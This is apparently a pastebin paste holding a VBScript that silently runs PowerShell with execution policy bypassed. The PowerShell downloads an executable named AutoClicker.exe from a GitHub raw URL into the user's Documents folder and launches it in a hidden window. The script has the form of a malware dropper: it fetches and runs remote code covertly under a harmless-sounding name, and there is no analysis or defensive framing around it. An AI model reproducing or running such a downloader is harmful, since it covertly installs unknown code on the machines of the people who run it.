Pastebin

Set objShell = CreateObject("WScript.Shell")

' PowerShell script to download and run the file with debugging output
strPSScript = "powershell -NoProfile -ExecutionPolicy Bypass -Command " & _
              "'$downloadUrl = ""https://github.com/mikhailramlal/pp/raw/refs/heads/main/AutoClicker.exe"";" & _
              "$outputFile = [System.IO.Path]::Combine($env:USERPROFILE, ""Documents"", ""AutoClicker.exe"");" & _
              "Write-Host ""Starting download..."";" & _
              "try {" & _
              "   if (Test-Path $outputFile) { Write-Host ""File exists, removing...""; Remove-Item $outputFile -Force }" & _
              "   Write-Host ""Downloading file..."";" & _
              "   Invoke-WebRequest -Uri $downloadUrl -OutFile $outputFile -ErrorAction Stop;" & _
              "   Write-Host ""Download complete, checking file..."";" & _
              "   if (Test-Path $outputFile) {" & _
              "       Write-Host ""File downloaded successfully.""" & _
              "       attrib +r $outputFile;" & _
              "       Write-Host ""Running the file..."";" & _
              "       Start-Process -FilePath $outputFile -WindowStyle Hidden -ErrorAction Stop;" & _
              "   } else {" & _
              "       Write-Host ""Download failed, file not found.""" & _
              "   }" & _
              "} catch {" & _
              "   Write-Host ""An error occurred: $_"";" & _
              "   exit 0;" & _
              "}'"

' Run PowerShell script silently
objShell.Run strPSScript, 0, True